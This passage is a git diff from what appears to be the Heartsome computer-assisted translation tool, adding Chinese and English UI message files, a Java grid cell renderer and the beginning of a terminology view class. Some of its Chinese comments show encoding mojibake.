\u83b7\u53d6\u9879\u76ee\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +dialog.AddTermToTBDialog.msgTitle = \u63d0\u793a +dialog.AddTermToTBDialog.msg1 = \u8bf7\u8f93\u5165\u672f\u8bed\u6e90\u6587\u3002 +dialog.AddTermToTBDialog.msg2 = \u8bf7\u8f93\u5165\u672f\u8bed\u8bd1\u6587\u3002 +dialog.AddTermToTBDialog.msg3 = \u6dfb\u52a0\u672f\u8bed\u5230\u672f\u8bed\u5e93\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 + +handler.AddTermToTBHandler.msgTitle = \u63d0\u793a +handler.AddTermToTBHandler.msg = \u8be5\u9879\u76ee\u672a\u8bbe\u7f6e\u672f\u8bed\u5e93\uff0c\u8bf7\u5148\u8bbe\u7f6e\u672f\u8bed\u540e\u518d\u91cd\u8bd5\u3002 + +view.TerminologyViewPart.statusLine = \u663e\u793a\u5f53\u524d\u6587\u672c\u6bb5\u7684\u672f\u8bed +view.TerminologyViewPart.idItem = \u5e8f\u53f7 +view.TerminologyViewPart.srcTableColumn = \u6e90\u8bed\u8a00 +view.TerminologyViewPart.tgtTableColumn = \u76ee\u6807\u8bed\u8a00 +view.TerminologyViewPart.propertyColumn = \u5c5e\u6027 +view.TerminologyViewPart.msgTitle = \u63d0\u793a +view.TerminologyViewPart.msg1 = \u5f53\u524d\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u5c06\u4e0d\u4f1a\u5728\u672f\u8bed\u5e93\u4e2d\u67e5\u627e\u8be5\u6587\u672c\u6bb5\u7684\u672f\u8bed\u3002 +view.TerminologyViewPart.msg2 = \u64cd\u4f5c\u5931\u8d25\uff0c\u9519\u8bef\u6d88\u606f\uff1a\n +view.TerminologyViewPart.firstAction = \u63d2\u5165\u6240\u9009\u672f\u8bed + +########################################## robert \u6dfb\u52a0 2012-11-19 ################################# +dialog.AddTermToTBDialog.addTip1 = \u6e90\u6587\u5b57\u6bb5\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u5fc5\u987b\u8f93\u5165\u6e90\u672f\u8bed\u3002 +dialog.AddTermToTBDialog.addTip2 = \u8bd1\u6587\u5b57\u6bb5\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u5fc5\u987b\u8f93\u5165\u76ee\u6807\u672f\u8bed\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message_en.properties b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message_en.properties new file mode 100644 index 0000000..173886b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message_en.properties @@ -0,0 +1,31 @@ +dialog.AddTermToTBDialog.title = Add Terms to Termbase +dialog.AddTermToTBDialog.lblSource = Source: +dialog.AddTermToTBDialog.lblTarget = Target: +dialog.AddTermToTBDialog.lblSrcLang = Source Language: +dialog.AddTermToTBDialog.lblTgtLang = Target Language: +dialog.AddTermToTBDialog.lblProperty = Attributes: +dialog.AddTermToTBDialog.logger = [LOG] \u83b7\u53d6\u9879\u76ee\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +dialog.AddTermToTBDialog.msgTitle = Message +dialog.AddTermToTBDialog.msg1 = Please enter source term. +dialog.AddTermToTBDialog.msg2 = Please enter target term. +dialog.AddTermToTBDialog.msg3 = An error occured when adding terms to the termbase, please try again. + +handler.AddTermToTBHandler.msgTitle = Message +handler.AddTermToTBHandler.msg = The project is not connected to a termbase, please connect a termbase and try again. + +view.TerminologyViewPart.statusLine = Display terms in the current segment +view.TerminologyViewPart.idItem = No. +view.TerminologyViewPart.srcTableColumn = Source Language +view.TerminologyViewPart.tgtTableColumn = Target Language +view.TerminologyViewPart.propertyColumn = Attribute +view.TerminologyViewPart.msgTitle = Message +view.TerminologyViewPart.msg1 = The current segment is locked. The term search will skip this segment. +view.TerminologyViewPart.msg2 = Operation failed: \n +view.TerminologyViewPart.firstAction = Insert the selected term + +########################################## robert \u6dfb\u52a0 2012-11-19 ################################# +dialog.AddTermToTBDialog.addTip1 = Source field cannot be spaces. Please enter the source term. +dialog.AddTermToTBDialog.addTip2 = Target field cannot be spaces. Please enter the target term. + +#2013-01-08 Add by jason +view.TerminologyViewPart.processInfo = Retrieving terms... diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message_zh.properties b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message_zh.properties new file mode 100644 index 0000000..98d876f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message_zh.properties @@ -0,0 +1,32 @@ +dialog.AddTermToTBDialog.title = \u6dfb\u52a0\u672f\u8bed\u5230\u672f\u8bed\u5e93 +dialog.AddTermToTBDialog.lblSource = \u6e90\u6587\uff1a +dialog.AddTermToTBDialog.lblTarget = \u8bd1\u6587\uff1a +dialog.AddTermToTBDialog.lblSrcLang = \u6e90\u8bed\u8a00\uff1a +dialog.AddTermToTBDialog.lblTgtLang = \u76ee\u6807\u8bed\u8a00\uff1a +dialog.AddTermToTBDialog.lblProperty = \u5c5e\u6027\uff1a +dialog.AddTermToTBDialog.logger = [LOG] \u83b7\u53d6\u9879\u76ee\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +dialog.AddTermToTBDialog.msgTitle = \u63d0\u793a +dialog.AddTermToTBDialog.msg1 = \u8bf7\u8f93\u5165\u672f\u8bed\u6e90\u6587\u3002 +dialog.AddTermToTBDialog.msg2 = \u8bf7\u8f93\u5165\u672f\u8bed\u8bd1\u6587\u3002 +dialog.AddTermToTBDialog.msg3 = \u6dfb\u52a0\u672f\u8bed\u5230\u672f\u8bed\u5e93\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 + +handler.AddTermToTBHandler.msgTitle = \u63d0\u793a +handler.AddTermToTBHandler.msg = \u8be5\u9879\u76ee\u672a\u8bbe\u7f6e\u672f\u8bed\u5e93\uff0c\u8bf7\u5148\u8bbe\u7f6e\u672f\u8bed\u540e\u518d\u91cd\u8bd5\u3002 + +view.TerminologyViewPart.statusLine = \u663e\u793a\u5f53\u524d\u6587\u672c\u6bb5\u7684\u672f\u8bed +view.TerminologyViewPart.idItem = \u5e8f\u53f7 +view.TerminologyViewPart.srcTableColumn = \u6e90\u8bed\u8a00 +view.TerminologyViewPart.tgtTableColumn = \u76ee\u6807\u8bed\u8a00 +view.TerminologyViewPart.propertyColumn = \u5c5e\u6027 +view.TerminologyViewPart.msgTitle = \u63d0\u793a +view.TerminologyViewPart.msg1 = \u5f53\u524d\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u5c06\u4e0d\u4f1a\u5728\u672f\u8bed\u5e93\u4e2d\u67e5\u627e\u8be5\u6587\u672c\u6bb5\u7684\u672f\u8bed\u3002 +view.TerminologyViewPart.msg2 = \u64cd\u4f5c\u5931\u8d25\uff0c\u9519\u8bef\u6d88\u606f\uff1a\n +view.TerminologyViewPart.firstAction = \u63d2\u5165\u6240\u9009\u672f\u8bed + + +########################################## robert \u6dfb\u52a0 2012-11-19 ################################# +dialog.AddTermToTBDialog.addTip1 = \u6e90\u6587\u5b57\u6bb5\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u5fc5\u987b\u8f93\u5165\u6e90\u672f\u8bed\u3002 +dialog.AddTermToTBDialog.addTip2 = \u8bd1\u6587\u5b57\u6bb5\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u5fc5\u987b\u8f93\u5165\u76ee\u6807\u672f\u8bed\u3002 + +#2013-01-08 Add by jason +view.TerminologyViewPart.processInfo = \u6b63\u5728\u83b7\u53d6\u672f\u8bed... diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/view/CellRenderer.java b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/view/CellRenderer.java new file mode 100644 index 0000000..ad1edf8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/view/CellRenderer.java @@ -0,0 +1,592 @@ +/** + * CellRenderer.java + * + * Version information : + * + * Date:2012-10-18 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.term.view; + +import net.heartsome.cat.ts.ui.grid.XGridCellRenderer; + +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.nebula.widgets.grid.IInternalWidget; +import org.eclipse.nebula.widgets.grid.internal.BranchRenderer; +import org.eclipse.nebula.widgets.grid.internal.CheckBoxRenderer; +import org.eclipse.nebula.widgets.grid.internal.TextUtils; +import org.eclipse.nebula.widgets.grid.internal.ToggleRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class CellRenderer extends XGridCellRenderer { + + private int insideMargin = 3; + + int treeIndent = 20; + + private ToggleRenderer toggleRenderer; + + private BranchRenderer branchRenderer; + + private CheckBoxRenderer checkRenderer; + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) { + GridItem item = (GridItem) value; + + gc.setFont(item.getFont(getColumn())); + + boolean drawAsSelected = isSelected(); + + boolean drawBackground = true; + + if (isCellSelected()) { + drawAsSelected = true;// (!isCellFocus()); + } + + if (drawAsSelected) { + // gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_BLACK)); + gc.setBackground((Color) item.getParent().getData("selectedBgColor")); + } else { + if (item.getParent().isEnabled()) { + Color back = item.getBackground(getColumn()); + + if (back != null) { + gc.setBackground(back); + } else { + drawBackground = false; + } + } else { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + } + // gc.setForeground(item.getForeground(getColumn())); + } + + if (drawBackground) + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, getBounds().height); + + int x = leftMargin; + + if (isTree()) { + boolean renderBranches = item.getParent().getTreeLinesVisible(); + if (renderBranches) { + branchRenderer.setBranches(getBranches(item)); + branchRenderer.setIndent(treeIndent); + branchRenderer.setBounds(getBounds().x + x, getBounds().y, getToggleIndent(item), + getBounds().height + 1); // Take into account border + } + + x += getToggleIndent(item); + + toggleRenderer.setExpanded(item.isExpanded()); + + toggleRenderer.setHover(getHoverDetail().equals("toggle")); + + toggleRenderer.setLocation(getBounds().x + x, (getBounds().height - toggleRenderer.getBounds().height) / 2 + + getBounds().y); + if (item.hasChildren()) + toggleRenderer.paint(gc, null); + + if (renderBranches) { + branchRenderer.setToggleBounds(toggleRenderer.getBounds()); + branchRenderer.paint(gc, null); + } + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) { + checkRenderer.setChecked(item.getChecked(getColumn())); + checkRenderer.setGrayed(item.getGrayed(getColumn())); + if (!item.getParent().isEnabled()) { + checkRenderer.setGrayed(true); + } + checkRenderer.setHover(getHoverDetail().equals("check")); + + if (isCenteredCheckBoxOnly(item)) { + // Special logic if this column only has a checkbox and is centered + checkRenderer.setBounds(getBounds().x + ((getBounds().width - checkRenderer.getBounds().width) / 2), + (getBounds().height - checkRenderer.getBounds().height) / 2 + getBounds().y, + checkRenderer.getBounds().width, checkRenderer.getBounds().height); + } else { + checkRenderer.setBounds(getBounds().x + x, (getBounds().height - checkRenderer.getBounds().height) / 2 + + getBounds().y, checkRenderer.getBounds().width, checkRenderer.getBounds().height); + + x += checkRenderer.getBounds().width + insideMargin; + } + + checkRenderer.paint(gc, null); + } + + Image image = item.getImage(getColumn()); + if (image != null) { + int y = getBounds().y; + + y += (getBounds().height - image.getBounds().height) / 2; + + gc.drawImage(image, getBounds().x + x, y); + + x += image.getBounds().width + insideMargin; + } + + if (drawAsSelected) { + // gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT)); + } else { + gc.setForeground(item.getForeground(getColumn())); + } + + if (!isWordWrap()) { + int width = getBounds().width - x - rightMargin; + String text = TextUtils.getShortString(gc, item.getText(getColumn()), width); + + if (getAlignment() == SWT.RIGHT) { + int len = gc.stringExtent(text).x; + if (len < width) { + x += width - len; + } + } else if (getAlignment() == SWT.CENTER) { + int len = gc.stringExtent(text).x; + if (len < width) { + x += (width - len) / 2; + } + } + + gc.drawString(text, getBounds().x + x, getBounds().y + textTopMargin + topMargin, true); + } else { + TextLayout layout = getTextLayout(gc, item, getColumn(), true, true); + try { + int y = getBounds().y + textTopMargin + topMargin; + y += getVerticalAlignmentAdjustment(layout.getBounds().height, getBounds().height); + + if (item.getParent().isAutoHeight()) { + int textHeight = topMargin + textTopMargin; + for (int cnt = 0; cnt < layout.getLineCount(); cnt++) + textHeight += layout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + Object obj = item.getData("itemHeight"); + if (getColumn() != item.getParent().getColumnCount() - 1) { + if (obj != null) { + int heigth = (Integer) obj; + textHeight = Math.max(textHeight, heigth); + } + item.setData("itemHeight", textHeight); + } else { + int heigth = (Integer) obj; + textHeight = Math.max(textHeight, heigth); + if (textHeight != item.getHeight()) { + item.setHeight(textHeight); + } + item.setData("itemHeight", null); + } + } + x = getBounds().x + leftMargin; + if (copyEnable != null) { + // Point selection = copyEnable.getSelectionRange(getColumn(), getRow() - 1 ); + Point selection = copyEnable.getSelectionRange(getColumn(), item); + if (selection == null || selection.x == selection.y) { + layout.draw(gc, x, y); + } else { + int start = Math.max(0, selection.x); + int end = Math.min(layout.getText().length(), selection.y); + layout.draw(gc, x, y, start, end - 1, getDisplay() + .getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT), + getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + attachInnertTagStyle(gc, layout, true); + } + } else { + layout.draw(gc, x, y); + } + } finally { + layout.dispose(); + } + + } + + if (item.getParent().getLinesVisible()) { + if (isCellSelected()) { + // XXX: should be user definable? + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + } else { + gc.setForeground(item.getParent().getLineColor()); + } + gc.drawLine(getBounds().x, getBounds().y + getBounds().height, getBounds().x + getBounds().width - 1, + getBounds().y + getBounds().height); + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + getBounds().width - 1, + getBounds().y + getBounds().height); + } + + if (isCellFocus()) { + Rectangle focusRect = new Rectangle(getBounds().x, getBounds().y, getBounds().width - 1, getBounds().height); + + // gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_FOREGROUND)); + gc.drawRectangle(focusRect); + + if (isFocus()) { + focusRect.x++; + focusRect.width -= 2; + focusRect.y++; + focusRect.height -= 2; + + gc.drawRectangle(focusRect); + } + } + } + + /** + * Calculates the sequence of branch lines which should be rendered for the provided item + * @param item + * @return an array of integers composed using the constants in {@link BranchRenderer} + */ + private int[] getBranches(GridItem item) { + int[] branches = new int[item.getLevel() + 1]; + GridItem[] roots = item.getParent().getRootItems(); + + // Is this a node or a leaf? + if (item.getParentItem() == null) { + // Add descender if not last item + if (!item.isExpanded() && roots[roots.length - 1].equals(item)) { + if (item.hasChildren()) + branches[item.getLevel()] = BranchRenderer.LAST_ROOT; + else + branches[item.getLevel()] = BranchRenderer.SMALL_L; + } else { + if (item.hasChildren()) + branches[item.getLevel()] = BranchRenderer.ROOT; + else + branches[item.getLevel()] = BranchRenderer.SMALL_T; + } + + } else if (item.hasChildren()) + if (item.isExpanded()) + branches[item.getLevel()] = BranchRenderer.NODE; + else + branches[item.getLevel()] = BranchRenderer.NONE; + else + branches[item.getLevel()] = BranchRenderer.LEAF; + + // Branch for current item + GridItem parent = item.getParentItem(); + if (parent == null) + return branches; + + // Are there siblings below this item? + if (parent.indexOf(item) < parent.getItemCount() - 1) + branches[item.getLevel() - 1] = BranchRenderer.T; + + // Is the next node a root? + else if (parent.getParentItem() == null && !parent.equals(roots[roots.length - 1])) + branches[item.getLevel() - 1] = BranchRenderer.T; + + // This must be the last element at this level + else + branches[item.getLevel() - 1] = BranchRenderer.L; + + Grid grid = item.getParent(); + item = parent; + parent = item.getParentItem(); + + // Branches for parent items + while (item.getLevel() > 0) { + if (parent.indexOf(item) == parent.getItemCount() - 1) { + if (parent.getParentItem() == null && !grid.getRootItem(grid.getRootItemCount() - 1).equals(parent)) + branches[item.getLevel() - 1] = BranchRenderer.I; + else + branches[item.getLevel() - 1] = BranchRenderer.NONE; + } else + branches[item.getLevel() - 1] = BranchRenderer.I; + item = parent; + parent = item.getParentItem(); + } + // item should be null at this point + return branches; + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) { + GridItem item = (GridItem) value; + + gc.setFont(item.getFont(getColumn())); + + int x = 0; + + x += leftMargin; + + if (isTree()) { + x += getToggleIndent(item); + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) { + x += checkRenderer.getBounds().width + insideMargin; + } + + int y = 0; + + Image image = item.getImage(getColumn()); + if (image != null) { + y = topMargin + image.getBounds().height + bottomMargin; + + x += image.getBounds().width + insideMargin; + } + + // MOPR-DND + // MOPR: replaced this code (to get correct preferred height for cells + // in word-wrap columns) + // + // x += gc.stringExtent(item.getText(column)).x + rightMargin; + // + // y = Math.max(y,topMargin + gc.getFontMetrics().getHeight() + + // bottomMargin); + // + // with this code: + + int textHeight = 0; + if (!isWordWrap()) { + x += gc.textExtent(item.getText(getColumn())).x + rightMargin; + + textHeight = topMargin + textTopMargin + gc.getFontMetrics().getHeight() + textBottomMargin + bottomMargin; + } else { + int plainTextWidth; + if (wHint == SWT.DEFAULT) + plainTextWidth = getBounds().width - x - rightMargin; + else + plainTextWidth = wHint - x - rightMargin; + + TextLayout currTextLayout = new TextLayout(gc.getDevice()); + currTextLayout.setFont(gc.getFont()); + currTextLayout.setText(item.getText(getColumn())); + currTextLayout.setAlignment(getAlignment()); + currTextLayout.setWidth(plainTextWidth < 1 ? 1 : plainTextWidth); + + x += plainTextWidth + rightMargin; + + textHeight += topMargin + textTopMargin; + for (int cnt = 0; cnt < currTextLayout.getLineCount(); cnt++) + textHeight += currTextLayout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + + currTextLayout.dispose(); + } + + y = Math.max(y, textHeight); + + return new Point(x, y); + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) { + + GridItem item = (GridItem) value; + + if (isCheck()) { + if (event == IInternalWidget.MouseMove) { + if (overCheck(item, point)) { + setHoverDetail("check"); + return true; + } + } + + if (event == IInternalWidget.LeftMouseButtonDown) { + if (overCheck(item, point)) { + if (!item.getCheckable(getColumn())) { + return false; + } + + item.setChecked(getColumn(), !item.getChecked(getColumn())); + item.getParent().redraw(); + + item.fireCheckEvent(getColumn()); + + return true; + } + } + } + + if (isTree() && item.hasChildren()) { + if (event == IInternalWidget.MouseMove) { + if (overToggle(item, point)) { + setHoverDetail("toggle"); + return true; + } + } + + if (event == IInternalWidget.LeftMouseButtonDown) { + if (overToggle(item, point)) { + item.setExpanded(!item.isExpanded()); + item.getParent().redraw(); + + if (item.isExpanded()) { + item.fireEvent(SWT.Expand); + } else { + item.fireEvent(SWT.Collapse); + } + + return true; + } + } + } + + return false; + } + + private boolean overCheck(GridItem item, Point point) { + if (isCenteredCheckBoxOnly(item)) { + point = new Point(point.x, point.y); + point.x -= getBounds().x; + point.y -= getBounds().y; + + Rectangle checkBounds = new Rectangle(0, 0, 0, 0); + checkBounds.x = (getBounds().width - checkRenderer.getBounds().width) / 2; + checkBounds.y = ((getBounds().height - checkRenderer.getBounds().height) / 2); + checkBounds.width = checkRenderer.getBounds().width; + checkBounds.height = checkRenderer.getBounds().height; + + return checkBounds.contains(point); + } else { + point = new Point(point.x, point.y); + point.x -= getBounds().x; + point.y -= getBounds().y; + + int x = leftMargin; + if (isTree()) { + x += getToggleIndent(item); + x += toggleRenderer.getSize().x + insideMargin; + } + + if (point.x >= x && point.x < (x + checkRenderer.getSize().x)) { + int yStart = ((getBounds().height - checkRenderer.getBounds().height) / 2); + if (point.y >= yStart && point.y < yStart + checkRenderer.getSize().y) { + return true; + } + } + + return false; + } + } + + private int getToggleIndent(GridItem item) { + return item.getLevel() * treeIndent; + } + + private boolean overToggle(GridItem item, Point point) { + + point = new Point(point.x, point.y); + + point.x -= getBounds().x - 1; + point.y -= getBounds().y - 1; + + int x = leftMargin; + x += getToggleIndent(item); + + if (point.x >= x && point.x < (x + toggleRenderer.getSize().x)) { + // return true; + int yStart = ((getBounds().height - toggleRenderer.getBounds().height) / 2); + if (point.y >= yStart && point.y < yStart + toggleRenderer.getSize().y) { + return true; + } + } + + return false; + } + + /** + * {@inheritDoc} + */ + public void setTree(boolean tree) { + super.setTree(tree); + + if (tree) { + toggleRenderer = new ToggleRenderer(); + toggleRenderer.setDisplay(getDisplay()); + + branchRenderer = new BranchRenderer(); + branchRenderer.setDisplay(getDisplay()); + } + } + + /** + * {@inheritDoc} + */ + public void setCheck(boolean check) { + super.setCheck(check); + + if (check) { + checkRenderer = new CheckBoxRenderer(); + checkRenderer.setDisplay(getDisplay()); + } else { + checkRenderer = null; + } + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(GridItem item, boolean preferred) { + int x = leftMargin; + + if (isTree()) { + x += getToggleIndent(item); + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) { + x += checkRenderer.getBounds().width + insideMargin; + } + + Image image = item.getImage(getColumn()); + if (image != null) { + x += image.getBounds().width + insideMargin; + } + + Rectangle bounds = new Rectangle(x, topMargin + textTopMargin, 0, 0); + + GC gc = new GC(item.getParent()); + gc.setFont(item.getFont(getColumn())); + Point size = gc.stringExtent(item.getText(getColumn())); + + bounds.height = size.y; + + if (preferred) { + bounds.width = size.x - 1; + } else { + bounds.width = getBounds().width - x - rightMargin; + } + + gc.dispose(); + + return bounds; + } + + private boolean isCenteredCheckBoxOnly(GridItem item) { + return !isTree() && item.getImage(getColumn()) == null && item.getText(getColumn()).equals("") + && getAlignment() == SWT.CENTER; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/view/TerminologyViewPart.java b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/view/TerminologyViewPart.java new file mode 100644 index 0000000..b8549da --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/view/TerminologyViewPart.java @@ -0,0 +1,620 @@ +/** + * TerminologyViewPart.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.ts.ui.term.view; + +import java.util.ArrayList; +import java.util.Hashtable; +import java.util.List; +import java.util.StringTokenizer; +import java.util.Vector; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.ui.listener.PartAdapter2; +import net.heartsome.cat.database.NGrams; +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.tb.match.TbMatcher; +import net.heartsome.cat.ts.ui.Constants; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.grid.GridCopyEnable; +import net.heartsome.cat.ts.ui.term.Activator; +import net.heartsome.cat.ts.ui.term.ImageConstants; +import net.heartsome.cat.ts.ui.term.resource.Messages; +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.IAction; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.CLabel; +import org.eclipse.swt.events.ControlAdapter; +import org.eclipse.swt.events.ControlEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IMemento; +import org.eclipse.ui.ISelectionListener; +import org.eclipse.ui.IViewSite; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.IWorkbenchPartReference; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.eclipse.ui.part.ViewPart; + +/** + * 术语视图 + * @author stone,Weachy,robert 2011-12-22(实现术语的查询,填充) + * @version + * @since JDK1.5 + */ +public class TerminologyViewPart extends ViewPart implements ISelectionListener, ITermViewPart { + + /** 常é‡ï¼Œè§†å›¾ID。 */ + public static final String ID = "net.heartsome.cat.ts.ui.term.view.termView"; + + /** æºè¯­è¨€ */ + String srcLang; + + /** 目标语言 */ + String tgtLang; + + /** æºè¯­è¨€åˆ— */ + private GridColumn srcTableColumn; + + /** 目标语言列 */ + private GridColumn tgtTableColumn; + + /** æ’入术语。 */ + private IAction firstAction; + + /** 项目的é…置文件的路径 */ + private String curProConfigPath = ""; + + private IXliffEditor tempEditor; + + /** 当å‰è¡Œçš„索引 */ + private int rowIndex; + + private Composite parent; + + private Grid gridTable; + private GridCopyEnable copyEnable; + + private CLabel tipLabel; + private Image tipLabelImage; + + private TbMatcher matcher = new TbMatcher(); + + private CellRenderer idColumnCellRenderer = new CellRenderer(); + private CellRenderer srcColumnCellRenderer = new CellRenderer(); + private CellRenderer tgtColumnCellRenderer = new CellRenderer(); + private CellRenderer propColumnCellRenderer = new CellRenderer(); + private Color selectedBgColor; + + private FontPropertyChangeListener fontChangeListener = new FontPropertyChangeListener(); + + public TerminologyViewPart() { + JFaceResources.getFontRegistry().addListener(fontChangeListener); + selectedBgColor = new Color(Display.getDefault(), 210, 210, 240); + tipLabelImage = Activator.getImageDescriptor("images/status/Loading.png").createImage(); + } + + @Override + public void init(IViewSite site, IMemento memento) throws PartInitException { + init(site); + + final IWorkbenchPage page = site.getPage(); + page.addPostSelectionListener(this); + page.addPartListener(new PartAdapter2() { + @Override + public void partClosed(IWorkbenchPartReference partRef) { + if (gridTable == null || gridTable.isDisposed()) { + page.removePartListener(this); // 关闭视图åŽï¼Œç§»é™¤æ­¤ç›‘å¬ + } else { + if ("net.heartsome.cat.ts.ui.xliffeditor.nattable.editor".equals(partRef.getId())) { + IEditorReference[] editorReferences = page.getEditorReferences(); + if (editorReferences.length == 0) { // 所有编辑器全部关闭的情况下。 + matcher.clearResources(); + firstAction.setEnabled(false); + copyEnable.resetSelection(); + gridTable.removeAll(); + } + } + } + } + }); + site.getActionBars().getStatusLineManager() + .setMessage(Messages.getString("view.TerminologyViewPart.statusLine")); + } + + /** + * 创建控件。 + * @see org.eclipse.ui.part.WorkbenchPart#createPartControl(org.eclipse.swt.widgets.Composite) + */ + @Override + public void createPartControl(Composite parent) { + this.parent = parent; + createAction(); + GridLayout parentGl = new GridLayout(1, false); + parentGl.marginWidth = 0; + parentGl.marginHeight = 0; + parent.setLayout(parentGl); + + final Composite contentPanel = new Composite(parent, SWT.NONE); + GridLayout secondPageCompositeGl = new GridLayout(1, false); + secondPageCompositeGl.marginBottom = -1; + secondPageCompositeGl.marginLeft = -1; + secondPageCompositeGl.marginRight = -1; + secondPageCompositeGl.marginTop = -1; + secondPageCompositeGl.marginWidth = 0; + secondPageCompositeGl.marginHeight = 0; + contentPanel.setLayout(secondPageCompositeGl); + contentPanel.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + contentPanel.setLayout(secondPageCompositeGl); + 